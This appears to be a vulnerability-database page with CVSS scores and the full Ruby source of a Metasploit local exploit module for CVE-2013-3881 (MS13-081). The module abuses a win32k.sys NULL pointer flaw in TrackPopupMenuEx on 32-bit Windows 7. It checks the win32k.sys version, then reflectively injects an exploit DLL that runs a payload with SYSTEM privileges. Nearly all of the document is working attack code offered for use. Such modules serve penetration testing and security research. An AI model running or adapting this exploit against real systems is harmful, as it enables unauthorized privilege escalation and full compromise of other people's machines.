CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
EPSS
Percentile
12.8%
This module exploits a vulnerability in win32k.sys where under specific conditions TrackPopupMenuEx will pass a NULL pointer to the MNEndMenuState procedure. This module has been tested successfully on Windows 7 SP0 and Windows 7 SP1.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page',
'Description' => %q{
This module exploits a vulnerability in win32k.sys where under
specific conditions TrackPopupMenuEx will pass a NULL pointer to
the MNEndMenuState procedure. This module has been tested
successfully on Windows 7 SP0 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' => [
'Seth Gibson', # vulnerability discovery
'Dan Zentner', # vulnerability discovery
'Matias Soler', # vulnerability analysis
'Spencer McIntyre'
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows 7 SP0/SP1', {} ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
[ 'CVE', '2013-3881' ],
[ 'OSVDB', '98212' ],
[ 'BID', '62830'],
[ 'MSB', 'MS13-081' ],
[ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ],
[ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ]
],
'DisclosureDate' => '2013-10-08',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ]
}
}
)
)
end
def check
if session.platform != 'windows'
return Exploit::CheckCode::Safe
end
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
case build
when 7600
return Exploit::CheckCode::Appears
when 7601
return Exploit::CheckCode::Appears if revision <= 18126
when 9200
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Unknown
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo['Architecture'] == ARCH_X64
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
end
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Reflectively injecting the exploit DLL and triggering the exploit...')
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-3881', 'cve-2013-3881.x86.dll'),
encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end